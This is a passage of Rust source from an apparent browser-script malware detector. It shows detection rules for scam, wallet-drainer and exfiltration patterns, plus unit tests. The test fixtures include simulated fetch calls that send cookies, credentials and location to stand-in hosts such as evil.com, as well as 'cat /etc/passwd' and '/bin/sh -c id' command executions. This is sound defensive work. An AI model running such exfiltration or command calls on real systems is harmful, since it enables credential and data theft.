2877 let mut evidence = s.notification_permission_indices.clone();
2878 evidence.extend(&s.notification_create_indices);
2879 evidence.sort_unstable();
2880 evidence.dedup();
2881 s.findings.push(BehavioralFinding {
2882 severity: Severity::High,
2883 category: Category::Persistence,
2884 title: "Notification-based re-entry channel".into(),
2885 detail: "Script requests notification permission and immediately prepares notification content, indicating persistent lure infrastructure rather than passive feature detection".into(),
2886 evidence,
2887 });
2888 }
2889
2890 if s.has_wallet_connect && !s.payment_request_indices.is_empty() {
2891 let mut evidence = s.payment_request_indices.clone();
2892 if let Some(idx) = s.wallet_connect_idx {
2893 evidence.push(idx);
2894 }
2895 evidence.sort_unstable();
2896 evidence.dedup();
2897 s.findings.push(BehavioralFinding {
2898 severity: Severity::Critical,
2899 category: Category::CryptoTheft,
2900 title: "Wallet theft with browser payment coercion".into(),
2901 detail: "Script combines wallet access with browser-native payment prompts, indicating multi-channel payment theft rather than a benign wallet interaction".into(),
2902 evidence,
2903 });
2904 }
2905
2906 let mut coercion_indices = s.beforeunload_register_indices.clone();
2907 coercion_indices.extend(s.fullscreen_indices.iter().copied());
2908 coercion_indices.extend(s.pointer_lock_indices.iter().copied());
2909 coercion_indices.sort_unstable();
2910 coercion_indices.dedup();
2911
2912 if !s.urgent_dialog_indices.is_empty() && !coercion_indices.is_empty() {
2913 let mut evidence = s.urgent_dialog_indices.clone();
2914 evidence.extend(coercion_indices.iter().copied());
2915 evidence.sort_unstable();
2916 evidence.dedup();
2917 s.findings.push(BehavioralFinding {
2918 severity: Severity::High,
2919 category: Category::Evasion,
2920 title: "Modal lock-in and navigation trapping".into(),
2921 detail: "Script combines urgent blocking dialogs with navigation or UI-trapping controls such as beforeunload, fullscreen, or pointer lock, a classic tech-support scam and coercion pattern".into(),
2922 evidence,
2923 });
2924 }
2925
2926 if !s.urgent_dialog_indices.is_empty()
2927 && (!s.beforeunload_trigger_indices.is_empty() || !coercion_indices.is_empty())
2928 && s.has_external_fetch
2929 {
2930 let mut evidence = s.urgent_dialog_indices.clone();
2931 evidence.extend(coercion_indices.iter().copied());
2932 evidence.extend(s.beforeunload_trigger_indices.iter().copied());
2933 evidence.extend(s.fetch_indices.iter().copied());
2934 evidence.sort_unstable();
2935 evidence.dedup();
2936 s.findings.push(BehavioralFinding {
2937 severity: Severity::Critical,
2938 category: Category::Evasion,
2939 title: "Tech-support style lock-in with off-origin staging".into(),
2940 detail: "Script combines urgent blocking dialogs, navigation or UI trapping, and off-origin activity, indicating a coercive lock-in campaign rather than benign exit handling".into(),
2941 evidence,
2942 });
2943 }
2944
2945 let mut alarm_indices = s.vibration_indices.clone();
2946 alarm_indices.extend(s.speech_indices.iter().copied());
2947 alarm_indices.sort_unstable();
2948 alarm_indices.dedup();
2949
2950 if !s.urgent_dialog_indices.is_empty() && !alarm_indices.is_empty() {
2951 let mut evidence = s.urgent_dialog_indices.clone();
2952 evidence.extend(alarm_indices.iter().copied());
2953 evidence.sort_unstable();
2954 evidence.dedup();
2955 s.findings.push(BehavioralFinding {
2956 severity: Severity::High,
2957 category: Category::Evasion,
2958 title: "Alarm-style coercion cues".into(),
2959 detail: "Script combines urgent warning dialogs with haptic or spoken alarm cues, a coercive panic pattern common in scam and support-lure flows".into(),
2960 evidence,
2961 });
2962 }
2963
2964 if !s.urgent_dialog_indices.is_empty() && !alarm_indices.is_empty() && s.has_external_fetch {
2965 let mut evidence = s.urgent_dialog_indices.clone();
2966 evidence.extend(alarm_indices.iter().copied());
2967 evidence.extend(s.fetch_indices.iter().copied());
2968 evidence.sort_unstable();
2969 evidence.dedup();
2970 s.findings.push(BehavioralFinding {
2971 severity: Severity::Critical,
2972 category: Category::Evasion,
2973 title: "Alarm-style coercion with off-origin staging".into(),
2974 detail: "Script combines urgent warning dialogs, haptic or spoken alarm cues, and off-origin activity, indicating a panic-driven coercion flow rather than benign notification behavior".into(),
2975 evidence,
2976 });
2977 }
2978
2979 let mut lifecycle_indices = s.beforeunload_register_indices.clone();
2980 lifecycle_indices.extend(s.pagehide_register_indices.iter().copied());
2981 lifecycle_indices.extend(s.visibilitychange_register_indices.iter().copied());
2982 lifecycle_indices.sort_unstable();
2983 lifecycle_indices.dedup();
2984
2985 if !lifecycle_indices.is_empty()
2986 && (s.has_external_fetch || !s.beacon_indices.is_empty() || !s.websocket_indices.is_empty())
2987 {
2988 let mut evidence = lifecycle_indices;
2989 evidence.extend(s.fetch_indices.iter().copied());
2990 evidence.extend(s.beacon_indices.iter().copied());
2991 evidence.extend(s.websocket_indices.iter().copied());
2992 evidence.sort_unstable();
2993 evidence.dedup();
2994 s.findings.push(BehavioralFinding {
2995 severity: Severity::High,
2996 category: Category::DataExfiltration,
2997 title: "Lifecycle-triggered exfiltration staging".into(),
2998 detail: "Script registers lifecycle exit hooks such as beforeunload, pagehide, or visibilitychange alongside off-origin delivery, a common pattern for unload-time exfiltration and stealthy staged beacons".into(),
2999 evidence,
3000 });
3001 }
3002
3003 if !s.geolocation_indices.is_empty() && s.has_external_fetch {
3004 let mut evidence = s.geolocation_indices.clone();
3005 evidence.extend(&s.fetch_indices);
3006 evidence.sort_unstable();
3007 evidence.dedup();
3008 s.findings.push(BehavioralFinding {
3009 severity: Severity::High,
3010 category: Category::PrivacyViolation,
3011 title: "Location data collected and sent off-origin".into(),
3012 detail: format!(
3013 "Script accesses geolocation data and communicates externally: {}",
3014 s.external_urls.join(", ")
3015 ),
3016 evidence,
3017 });
3018 }
3019
3020 if s.has_credential_surface && !s.geolocation_indices.is_empty() {
3021 let mut evidence = s.credential_surface_indices.clone();
3022 evidence.extend(&s.geolocation_indices);
3023 evidence.sort_unstable();
3024 evidence.dedup();
3025 s.findings.push(BehavioralFinding {
3026 severity: Severity::High,
3027 category: Category::CredentialTheft,
3028 title: "Geo-targeted credential lure".into(),
3029 detail: "Script combines a credential collection surface with geolocation access, indicating location-aware victim selection or targeting".into(),
3030 evidence,
3031 });
3032 }
3033
3034 s.findings.sort_by(|a, b| b.severity.cmp(&a.severity));
3035 let risk_score = compute_risk_score(&s.findings);
3036
3037 AnalysisReport {
3038 findings: s.findings,
3039 timeline: s.timeline,
3040 risk_score,
3041 observation_count: observations.len(),
3042 }
3043}
3044
3045fn categorize_api(api: &str) -> Category {
3046 if api.contains("ethereum")
3047 || api.contains("solana")
3048 || api.starts_with("crypto.sign")
3049 || api.starts_with("crypto.solana")
3050 || api.starts_with("crypto.chain")
3051 {
3052 Category::CryptoTheft
3053 } else if api.contains("clipboard") {
3054 Category::ClipboardHijack
3055 } else if api.contains("geolocation") || api.contains("notification") || api.contains("payment")
3056 {
3057 Category::PrivacyViolation
3058 } else if is_command_execution_api(api) {
3059 Category::CodeInjection
3060 } else if api.contains("cookie") {
3061 Category::CookieAccess
3062 } else if api.contains("fetch") || api.contains("xhr") || api.contains("Request") {
3063 Category::NetworkActivity
3064 } else if api.contains("eval") || api.contains("Function") || api.contains("executeScript") {
3065 Category::CodeInjection
3066 } else if api.contains("Storage") || api.contains("storage") {
3067 Category::Persistence
3068 } else if api.contains("fingerprint") || api.contains("canvas") || api.contains("webgl") {
3069 Category::Fingerprinting
3070 } else if api.contains("webRequest") {
3071 Category::NetworkActivity
3072 } else {
3073 Category::DomManipulation
3074 }
3075}
3076
3077fn is_urgent_dialog_message(message: &str) -> bool {
3078 let lower = message.to_ascii_lowercase();
3079 [
3080 "timeout",
3081 "expired",
3082 "session",
3083 "error",
3084 "try again",
3085 "invalid",
3086 "suspended",
3087 "verify",
3088 "unauthorized",
3089 "blocked",
3090 "infected",
3091 "warning",
3092 "support",
3093 "call now",
3094 "security",
3095 ]
3096 .iter()
3097 .any(|needle| lower.contains(needle))
3098}
3099
3100fn extract_url_from_args(args: &[Value]) -> Option<String> {
3101 for arg in args {
3102 if let Value::String(s, _) = arg {
3103 if s.starts_with("http://") || s.starts_with("https://") {
3104 return Some(s.clone());
3105 }
3106 if s.starts_with('[')
3107 && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3108 {
3109 for item in arr {
3110 if let Some(str_val) = item.as_str()
3111 && (str_val.starts_with("http://") || str_val.starts_with("https://"))
3112 {
3113 return Some(str_val.to_string());
3114 }
3115 }
3116 }
3117 if let Some(pos) = s.find("https://").or_else(|| s.find("http://")) {
3118 let rest = &s[pos..];
3119 let end = rest.find(['"', '\'', ' ', '>', ']']).unwrap_or(rest.len());
3120 let url = &rest[..end];
3121 if url.len() > 10 {
3122 return Some(url.to_string());
3123 }
3124 }
3125 }
3126 }
3127 None
3128}
3129
3130fn is_external_url(url: &str) -> bool {
3131 url.starts_with("http://") || url.starts_with("https://")
3132}
3133
3134fn extract_first_string_arg(args: &[Value]) -> Option<String> {
3135 for arg in args {
3136 if let Value::String(s, _) = arg {
3137 if s.starts_with('[') {
3138 if let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3139 && let Some(first) = arr.first()
3140 && let Some(s) = first.as_str()
3141 {
3142 return Some(s.to_string());
3143 }
3144 } else {
3145 return Some(s.clone());
3146 }
3147 }
3148 }
3149 None
3150}
3151
3152fn extract_second_string_arg(args: &[Value]) -> Option<String> {
3153 for arg in args {
3154 if let Value::String(s, _) = arg
3155 && s.starts_with('[')
3156 && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3157 && let Some(second) = arr.get(1)
3158 && let Some(s) = second.as_str()
3159 {
3160 return Some(s.to_string());
3161 }
3162 }
3163 None
3164}
3165
3166fn extract_third_string_arg(args: &[Value]) -> Option<String> {
3167 for arg in args {
3168 if let Value::String(s, _) = arg
3169 && s.starts_with('[')
3170 && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3171 && let Some(third) = arr.get(2)
3172 && let Some(s) = third.as_str()
3173 {
3174 return Some(s.to_string());
3175 }
3176 }
3177 None
3178}
3179
3180fn extract_delay_arg(args: &[Value]) -> Option<u32> {
3181 for arg in args {
3182 if let Value::String(s, _) = arg
3183 && s.starts_with('[')
3184 && let Ok(arr) = serde_json::from_str::<Vec<serde_json::Value>>(s)
3185 && let Some(delay) = arr.get(1)
3186 {
3187 if let Some(n) = delay.as_u64() {
3188 return u32::try_from(n).ok();
3189 }
3190 if let Some(s) = delay.as_str()
3191 && let Ok(n) = s.parse::<u32>()
3192 {
3193 return Some(n);
3194 }
3195 }
3196 }
3197 None
3198}
3199
3200fn extract_postmessage_target_origin(args: &[Value]) -> Option<String> {
3201 let raw = args.first().and_then(Value::as_str)?;
3202 let parsed = serde_json::from_str::<Vec<serde_json::Value>>(raw).ok()?;
3203 parsed
3204 .get(1)
3205 .and_then(|v| v.as_str())
3206 .map(ToString::to_string)
3207}
3208
3209fn extract_postmessage_payload(args: &[Value]) -> Option<String> {
3210 let raw = args.first().and_then(Value::as_str)?;
3211 let parsed = serde_json::from_str::<Vec<serde_json::Value>>(raw).ok()?;
3212 parsed.first().map(|v| {
3213 if let Some(s) = v.as_str() {
3214 s.to_string()
3215 } else {
3216 v.to_string()
3217 }
3218 })
3219}
3220
3221fn is_wildcard_target_origin(origin: &str) -> bool {
3222 matches!(origin, "*" | "null" | "/" | "")
3223}
3224
3225fn is_child_process_require(api: &str, args: &[Value]) -> bool {
3226 matches!(api, "require" | "node:require")
3227 && extract_first_string_arg(args)
3228 .is_some_and(|module| matches!(module.as_str(), "child_process" | "node:child_process"))
3229}
3230
3231fn is_command_execution_api(api: &str) -> bool {
3232 matches!(
3233 api,
3234 "child_process.exec" | "child_process.execSync" | "child_process.spawn"
3235 )
3236}
3237
3238fn compute_risk_score(findings: &[BehavioralFinding]) -> u8 {
3239 let mut score: u32 = 0;
3240 for finding in findings {
3241 let base: u32 = match finding.severity {
3242 Severity::Critical => 30,
3243 Severity::High => 20,
3244 Severity::Medium => 10,
3245 Severity::Low => 5,
3246 Severity::Info => 1,
3247 _ => 1,
3251 };
3252 let multiplier: u32 = if finding.title.starts_with("CONFIRMED:")
3253 || finding.title.starts_with("DIRECT ETH TRANSFER")
3254 {
3255 2
3256 } else {
3257 1
3258 };
3259 score = score.saturating_add(base.saturating_mul(multiplier));
3260 }
3261 score.min(100) as u8
3262}
3263
3264#[cfg(test)]
3265mod tests {
3266 use super::*;
3267 use crate::observation::DynamicCodeSource;
3268
3269 #[test]
3270 fn cookie_plus_fetch_is_exfiltration() {
3271 let observations = vec![
3272 Observation::ApiCall {
3273 api: "document.cookie.get".into(),
3274 args: vec![],
3275 result: Value::string("session=abc"),
3276 },
3277 Observation::ApiCall {
3278 api: "fetch".into(),
3279 args: vec![Value::string("[\"https://evil.com/exfil\",\"POST\"]")],
3280 result: Value::Undefined,
3281 },
3282 ];
3283 let report = analyze(&observations);
3284 assert!(
3285 report
3286 .findings
3287 .iter()
3288 .any(|f| f.category == Category::DataExfiltration),
3289 "should detect data exfiltration"
3290 );
3291 assert!(report.risk_score >= 30);
3292 }
3293
3294 #[test]
3295 fn eval_is_code_injection() {
3296 let observations = vec![Observation::DynamicCodeExec {
3297 source: DynamicCodeSource::Eval,
3298 code_preview: "alert(1)".into(),
3299 }];
3300 let report = analyze(&observations);
3301 assert!(
3302 report
3303 .findings
3304 .iter()
3305 .any(|f| f.category == Category::CodeInjection)
3306 );
3307 }
3308
3309 #[test]
3310 fn empty_observations_zero_risk() {
3311 let report = analyze(&[]);
3312 assert_eq!(report.risk_score, 0);
3313 assert!(report.findings.is_empty());
3314 }
3315
3316 #[test]
3317 fn crypto_wallet_drainer_scores_critical() {
3318 let observations = vec![
3319 Observation::ApiCall {
3320 api: "ethereum.request".into(),
3321 args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
3322 result: Value::Undefined,
3323 },
3324 Observation::ApiCall {
3325 api: "crypto.sign_message".into(),
3326 args: vec![Value::string(
3327 "[\"eth_signTypedData_v4\",\"[\\\"0xVICTIM\\\",\\\"{}\\\"]\"]",
3328 )],
3329 result: Value::Undefined,
3330 },
3331 Observation::ApiCall {
3332 api: "fetch".into(),
3333 args: vec![Value::string(
3334 "[\"https://drainer-c2.evil/api/drain\",\"POST\"]",
3335 )],
3336 result: Value::Undefined,
3337 },
3338 ];
3339 let report = analyze(&observations);
3340
3341 assert!(
3342 report
3343 .findings
3344 .iter()
3345 .any(|f| f.category == Category::CryptoTheft && f.title.contains("CONFIRMED")),
3346 "must detect confirmed crypto drainer, findings: {:?}",
3347 report.findings.iter().map(|f| &f.title).collect::<Vec<_>>()
3348 );
3349 assert!(
3350 report.risk_score >= 90,
3351 "crypto wallet drainer must score >= 90, got {}",
3352 report.risk_score
3353 );
3354 }
3355
3356 #[test]
3357 fn clipboard_swap_detected() {
3358 let observations = vec![
3359 Observation::ApiCall {
3360 api: "clipboard.readText".into(),
3361 args: vec![],
3362 result: Value::Undefined,
3363 },
3364 Observation::ApiCall {
3365 api: "clipboard.writeText".into(),
3366 args: vec![Value::string("0x742d35Cc6634C0532925a3b844Bc9e7595f2bD38")],
3367 result: Value::Undefined,
3368 },
3369 ];
3370 let report = analyze(&observations);
3371
3372 assert!(
3373 report
3374 .findings
3375 .iter()
3376 .any(|f| f.category == Category::ClipboardHijack && f.title.contains("CONFIRMED")),
3377 "must detect confirmed clipboard swap"
3378 );
3379 assert!(
3380 report
3381 .findings
3382 .iter()
3383 .any(|f| f.title.contains("crypto address")),
3384 "must detect crypto address in clipboard write"
3385 );
3386 }
3387
3388 #[test]
3389 fn multi_vector_attack_maxes_risk() {
3390 let observations = vec![
3391 Observation::ApiCall {
3392 api: "document.cookie.get".into(),
3393 args: vec![],
3394 result: Value::string("session=abc"),
3395 },
3396 Observation::ApiCall {
3397 api: "ethereum.request".into(),
3398 args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
3399 result: Value::Undefined,
3400 },
3401 Observation::ApiCall {
3402 api: "clipboard.writeText".into(),
3403 args: vec![Value::string("0xATTACKER")],
3404 result: Value::Undefined,
3405 },
3406 Observation::ApiCall {
3407 api: "crypto.sign_transaction".into(),
3408 args: vec![Value::string("[{\"to\":\"0xATTACKER\"}]")],
3409 result: Value::Undefined,
3410 },
3411 Observation::ApiCall {
3412 api: "fetch".into(),
3413 args: vec![Value::string("[\"https://mega-c2.evil/harvest\",\"POST\"]")],
3414 result: Value::Undefined,
3415 },
3416 ];
3417 let report = analyze(&observations);
3418 assert_eq!(
3419 report.risk_score, 100,
3420 "multi-vector attack must score 100, got {}",
3421 report.risk_score
3422 );
3423 }
3424
3425 #[test]
3426 fn child_process_exec_api_call_is_critical() {
3427 let observations = vec![
3428 Observation::ApiCall {
3429 api: "require".into(),
3430 args: vec![Value::string("child_process")],
3431 result: Value::Undefined,
3432 },
3433 Observation::ApiCall {
3434 api: "child_process.exec".into(),
3435 args: vec![Value::string("cat /etc/passwd")],
3436 result: Value::Undefined,
3437 },
3438 ];
3439
3440 let report = analyze(&observations);
3441
3442 assert!(
3443 report.findings.iter().any(|f| {
3444 f.severity == Severity::Critical
3445 && f.category == Category::CodeInjection
3446 && f.title.contains("Command execution")
3447 }),
3448 "expected critical command execution finding, got {:?}",
3449 report.findings.iter().map(|f| &f.title).collect::<Vec<_>>()
3450 );
3451 assert!(
3452 report.risk_score >= 50,
3453 "expected elevated risk, got {}",
3454 report.risk_score
3455 );
3456 }
3457
3458 #[test]
3459 fn child_process_spawn_api_call_is_critical() {
3460 let observations = vec![Observation::ApiCall {
3461 api: "child_process.spawn".into(),
3462 args: vec![Value::string("[\"/bin/sh\",\"-c\",\"id\"]")],
3463 result: Value::Undefined,
3464 }];
3465
3466 let report = analyze(&observations);
3467
3468 assert!(report.findings.iter().any(|f| {
3469 f.severity == Severity::Critical
3470 && f.category == Category::CodeInjection
3471 && f.title.contains("spawn")
3472 }));
3473 }
3474
3475 #[test]
3476 fn postmessage_credential_relay_is_critical() {
3477 let observations = vec![Observation::ApiCall {
3478 api: "postMessage.send".into(),
3479 args: vec![Value::string(
3480 "[{\"email\":\"victim@example.com\",\"password\":\"hunter2\",\"otp\":\"123456\"},\"https://evil.com\"]",
3481 )],
3482 result: Value::Undefined,
3483 }];
3484
3485 let report = analyze(&observations);
3486
3487 assert!(report.findings.iter().any(|f| {
3488 f.severity == Severity::Critical
3489 && f.category == Category::CredentialTheft
3490 && f.title.contains("Credential relay via postMessage")
3491 }));
3492 }
3493
3494 #[test]
3495 fn popup_pivot_to_external_url_is_detected() {
3496 let observations = vec![Observation::ApiCall {
3497 api: "window.open".into(),
3498 args: vec![Value::string(
3499 "[\"https://workers.dev/fake-login\",\"_blank\"]",
3500 )],
3501 result: Value::Undefined,
3502 }];
3503
3504 let report = analyze(&observations);
3505
3506 assert!(report.findings.iter().any(|f| {
3507 f.severity == Severity::High
3508 && f.category == Category::NetworkActivity
3509 && f.title.contains("Popup pivot to external URL")
3510 }));
3511 }
3512
3513 #[test]
3514 fn wildcard_postmessage_with_credentials_is_critical() {
3515 let observations = vec![Observation::ApiCall {
3516 api: "postMessage.send".into(),
3517 args: vec![Value::string(
3518 "[{\"email\":\"victim@example.com\",\"password\":\"hunter2\"},\"*\"]",
3519 )],
3520 result: Value::Undefined,
3521 }];
3522
3523 let report = analyze(&observations);
3524
3525 assert!(report.findings.iter().any(|f| {
3526 f.severity == Severity::Critical
3527 && f.category == Category::CredentialTheft
3528 && f.title.contains("wildcard postMessage")
3529 }));
3530 }
3531
3532 #[test]
3533 fn credential_surface_plus_external_flow_is_confirmed_harvest() {
3534 let observations = vec![
3535 Observation::ApiCall {
3536 api: "credential_form_detected".into(),
3537 args: vec![Value::string(
3538 "[\"https://evil.com/collect\",\"password\",\"true\"]",
3539 )],
3540 result: Value::Undefined,
3541 },
3542 Observation::ApiCall {
3543 api: "fetch".into(),
3544 args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3545 result: Value::Undefined,
3546 },
3547 ];
3548
3549 let report = analyze(&observations);
3550
3551 assert!(report.findings.iter().any(|f| {
3552 f.severity == Severity::Critical
3553 && f.category == Category::CredentialTheft
3554 && f.title.contains("Staged credential harvesting flow")
3555 }));
3556 }
3557
3558 #[test]
3559 fn popup_plus_postmessage_is_cross_window_handoff() {
3560 let observations = vec![
3561 Observation::ApiCall {
3562 api: "window.open".into(),
3563 args: vec![Value::string(
3564 "[\"https://workers.dev/fake-login\",\"_blank\"]",
3565 )],
3566 result: Value::Undefined,
3567 },
3568 Observation::ApiCall {
3569 api: "postMessage.send".into(),
3570 args: vec![Value::string(
3571 "[{\"email\":\"victim@example.com\",\"password\":\"hunter2\"},\"https://evil.com\"]",
3572 )],
3573 result: Value::Undefined,
3574 },
3575 ];
3576
3577 let report = analyze(&observations);
3578
3579 assert!(report.findings.iter().any(|f| {
3580 f.severity == Severity::Critical
3581 && f.category == Category::CredentialTheft
3582 && f.title.contains("Cross-window credential handoff")
3583 }));
3584 }
3585
3586 #[test]
3587 fn service_worker_plus_storage_plus_fetch_is_persistent_abuse() {
3588 let observations = vec![
3589 Observation::ApiCall {
3590 api: "serviceworker.register".into(),
3591 args: vec![Value::string("[\"/sw.js?stage=credential-harvest\"]")],
3592 result: Value::Undefined,
3593 },
3594 Observation::ApiCall {
3595 api: "localStorage.setItem".into(),
3596 args: vec![Value::string("[\"campaign\",\"office365\"]")],
3597 result: Value::Undefined,
3598 },
3599 Observation::ApiCall {
3600 api: "fetch".into(),
3601 args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3602 result: Value::Undefined,
3603 },
3604 ];
3605
3606 let report = analyze(&observations);
3607
3608 assert!(report.findings.iter().any(|f| {
3609 f.severity == Severity::Critical
3610 && f.category == Category::Persistence
3611 && f.title.contains("Persistent staged phishing")
3612 }));
3613 }
3614
3615 #[test]
3616 fn delayed_service_worker_campaign_is_detected() {
3617 let observations = vec![
3618 Observation::ApiCall {
3619 api: "timer.setTimeout".into(),
3620 args: vec![Value::string("[1,5000]")],
3621 result: Value::Undefined,
3622 },
3623 Observation::ApiCall {
3624 api: "serviceworker.register".into(),
3625 args: vec![Value::string("[\"/sw.js?stage=credential-harvest\"]")],
3626 result: Value::Undefined,
3627 },
3628 Observation::ApiCall {
3629 api: "localStorage.setItem".into(),
3630 args: vec![Value::string("[\"campaign\",\"office365\"]")],
3631 result: Value::Undefined,
3632 },
3633 Observation::ApiCall {
3634 api: "fetch".into(),
3635 args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3636 result: Value::Undefined,
3637 },
3638 ];
3639
3640 let report = analyze(&observations);
3641
3642 assert!(report.findings.iter().any(|f| {
3643 f.severity == Severity::Critical
3644 && f.category == Category::Persistence
3645 && f.title.contains("Delayed persistent staged abuse")
3646 }));
3647 }
3648
3649 #[test]
3650 fn credential_surface_plus_storage_and_notification_is_stateful_reentry() {
3651 let observations = vec![
3652 Observation::ApiCall {
3653 api: "credential_form_detected".into(),
3654 args: vec![Value::string(
3655 "[\"https://evil.com/collect\",\"password\",\"true\"]",
3656 )],
3657 result: Value::Undefined,
3658 },
3659 Observation::ApiCall {
3660 api: "localStorage.setItem".into(),
3661 args: vec![Value::string("[\"campaign\",\"office365\"]")],
3662 result: Value::Undefined,
3663 },
3664 Observation::ApiCall {
3665 api: "notification.create".into(),
3666 args: vec![Value::string("[\"Session expired\",\"{}\"]")],
3667 result: Value::Undefined,
3668 },
3669 ];
3670
3671 let report = analyze(&observations);
3672
3673 assert!(report.findings.iter().any(|f| {
3674 f.severity == Severity::Critical
3675 && f.category == Category::Persistence
3676 && f.title
3677 .contains("Stateful credential re-entry infrastructure")
3678 }));
3679 }
3680
3681 #[test]
3682 fn worker_websocket_and_credential_surface_is_background_exfiltration() {
3683 let observations = vec![
3684 Observation::ApiCall {
3685 api: "credential_form_detected".into(),
3686 args: vec![Value::string(
3687 "[\"https://evil.com/collect\",\"password\",\"true\"]",
3688 )],
3689 result: Value::Undefined,
3690 },
3691 Observation::ApiCall {
3692 api: "worker.create".into(),
3693 args: vec![Value::string("[\"https://evil.com/bg.js\"]")],
3694 result: Value::Undefined,
3695 },
3696 Observation::ApiCall {
3697 api: "websocket.connect".into(),
3698 args: vec![Value::string("[\"wss://evil.com/socket\"]")],
3699 result: Value::Undefined,
3700 },
3701 Observation::ApiCall {
3702 api: "fetch".into(),
3703 args: vec![Value::string("[\"https://evil.com/ready\",\"POST\"]")],
3704 result: Value::Undefined,
3705 },
3706 ];
3707
3708 let report = analyze(&observations);
3709
3710 assert!(report.findings.iter().any(|f| {
3711 f.severity == Severity::Critical
3712 && f.category == Category::CredentialTheft
3713 && f.title
3714 .contains("Background credential exfiltration channel")
3715 }));
3716 assert!(report.findings.iter().any(|f| {
3717 f.severity == Severity::Critical
3718 && f.category == Category::Persistence
3719 && f.title
3720 .contains("Background staged exfiltration infrastructure")
3721 }));
3722 }
3723
3724 #[test]
3725 fn notification_plus_credential_surface_is_reengagement() {
3726 let observations = vec![
3727 Observation::ApiCall {
3728 api: "credential_form_detected".into(),
3729 args: vec![Value::string(
3730 "[\"https://evil.com/collect\",\"password\",\"true\"]",
3731 )],
3732 result: Value::Undefined,
3733 },
3734 Observation::ApiCall {
3735 api: "notification.requestPermission".into(),
3736 args: vec![Value::string("[]")],
3737 result: Value::Undefined,
3738 },
3739 ];
3740
3741 let report = analyze(&observations);
3742
3743 assert!(report.findings.iter().any(|f| {
3744 f.severity == Severity::High
3745 && f.category == Category::Persistence
3746 && f.title
3747 .contains("Credential lure with notification re-engagement")
3748 }));
3749 }
3750
3751 #[test]
3752 fn wallet_plus_payment_request_is_multi_channel_theft() {
3753 let observations = vec![
3754 Observation::ApiCall {
3755 api: "ethereum.request".into(),
3756 args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
3757 result: Value::Undefined,
3758 },
3759 Observation::ApiCall {
3760 api: "payment.request".into(),
3761 args: vec![Value::string("[\"[]\",\"{}\"]")],
3762 result: Value::Undefined,
3763 },
3764 Observation::ApiCall {
3765 api: "payment.show".into(),
3766 args: vec![Value::string("[]")],
3767 result: Value::Undefined,
3768 },
3769 ];
3770
3771 let report = analyze(&observations);
3772
3773 assert!(report.findings.iter().any(|f| {
3774 f.severity == Severity::Critical
3775 && f.category == Category::CryptoTheft
3776 && f.title
3777 .contains("Wallet theft with browser payment coercion")
3778 }));
3779 }
3780
3781 #[test]
3782 fn notification_permission_plus_notification_create_is_reentry_channel() {
3783 let observations = vec![
3784 Observation::ApiCall {
3785 api: "notification.requestPermission".into(),
3786 args: vec![Value::string("[]")],
3787 result: Value::Undefined,
3788 },
3789 Observation::ApiCall {
3790 api: "notification.create".into(),
3791 args: vec![Value::string("[\"Verify now\",\"{}\"]")],
3792 result: Value::Undefined,
3793 },
3794 ];
3795
3796 let report = analyze(&observations);
3797
3798 assert!(report.findings.iter().any(|f| {
3799 f.severity == Severity::High
3800 && f.category == Category::Persistence
3801 && f.title.contains("Notification-based re-entry channel")
3802 }));
3803 }
3804
3805 #[test]
3806 fn geolocation_plus_fetch_is_location_exfiltration() {
3807 let observations = vec![
3808 Observation::ApiCall {
3809 api: "geolocation.getCurrentPosition".into(),
3810 args: vec![Value::string("[]")],
3811 result: Value::Undefined,
3812 },
3813 Observation::ApiCall {
3814 api: "fetch".into(),
3815 args: vec![Value::string("[\"https://evil.com/geo\",\"POST\"]")],
3816 result: Value::Undefined,
3817 },
3818 ];
3819
3820 let report = analyze(&observations);
3821
3822 assert!(report.findings.iter().any(|f| {
3823 f.severity == Severity::High
3824 && f.category == Category::PrivacyViolation
3825 && f.title
3826 .contains("Location data collected and sent off-origin")
3827 }));
3828 }
3829
3830 #[test]
3831 fn credential_surface_plus_geolocation_is_geo_targeted_lure() {
3832 let observations = vec![
3833 Observation::ApiCall {
3834 api: "credential_form_detected".into(),
3835 args: vec![Value::string(
3836 "[\"https://evil.com/collect\",\"password\",\"true\"]",
3837 )],
3838 result: Value::Undefined,
3839 },
3840 Observation::ApiCall {
3841 api: "geolocation.watchPosition".into(),
3842 args: vec![Value::string("[]")],
3843 result: Value::Undefined,
3844 },
3845 ];
3846
3847 let report = analyze(&observations);
3848
3849 assert!(report.findings.iter().any(|f| {
3850 f.severity == Severity::High
3851 && f.category == Category::CredentialTheft
3852 && f.title.contains("Geo-targeted credential lure")
3853 }));
3854 }
3855
3856 #[test]
3857 fn fingerprint_plus_timer_plus_fetch_is_delayed_network_staging() {
3858 let observations = vec![
3859 Observation::FingerprintAccess {
3860 api: "navigator.userAgent".into(),
3861 detail: "Mozilla/5.0".into(),
3862 },
3863 Observation::TimerSet {
3864 id: 1,
3865 delay_ms: 5000,
3866 is_interval: false,
3867 callback_preview: "fetch('https://evil.com/stage')".into(),
3868 },
3869 Observation::ApiCall {
3870 api: "fetch".into(),
3871 args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
3872 result: Value::Undefined,
3873 },
3874 ];
3875
3876 let report = analyze(&observations);
3877
3878 assert!(report.findings.iter().any(|f| {
3879 f.severity == Severity::High
3880 && f.category == Category::Evasion
3881 && f.title
3882 .contains("Fingerprint-gated delayed network staging")
3883 }));
3884 }
3885
3886 #[test]
3887 fn canvas_fingerprint_then_fetch_is_detected() {
3888 let observations = vec![
3889 Observation::FingerprintAccess {
3890 api: "canvas.measureText".into(),
3891 detail: "Arial".into(),
3892 },
3893 Observation::FingerprintAccess {
3894 api: "canvas.toDataURL".into(),
3895 detail: "image/png".into(),
3896 },
3897 Observation::ApiCall {
3898 api: "fetch".into(),
3899 args: vec![Value::string("[\"https://evil.com/fp\",\"POST\"]")],
3900 result: Value::Undefined,
3901 },
3902 ];
3903 let report = analyze(&observations);
3904 assert!(report.findings.iter().any(|f| {
3905 f.severity == Severity::High
3906 && f.category == Category::Fingerprinting
3907 && f.title
3908 .contains("Render/audio fingerprinting with outbound delivery")
3909 }));
3910 }
3911
3912 #[test]
